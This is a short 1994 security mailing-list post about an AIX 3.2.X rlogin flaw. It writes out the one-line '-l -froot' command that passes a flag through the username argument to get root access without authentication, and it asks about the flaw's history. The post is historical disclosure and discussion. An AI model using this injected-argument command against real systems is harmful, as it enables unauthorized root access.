-froot??? (AIX rlogin bug)
From: ericw () fx com (Eric Wedaa)
Date: Fri, 29 Jul 94 09:36:20 PDT

Someone over on the firewalls mailing list just threw out this tidbit:

   rlogin aix.machine -l -froot

For instance:
 
   rlogin foobar -l -froot

This gives you root access on any AIX 3.2.X machine.

Does anyone have any history on this trapdoor?  Apparently
it also existed in Linux several generations ago.
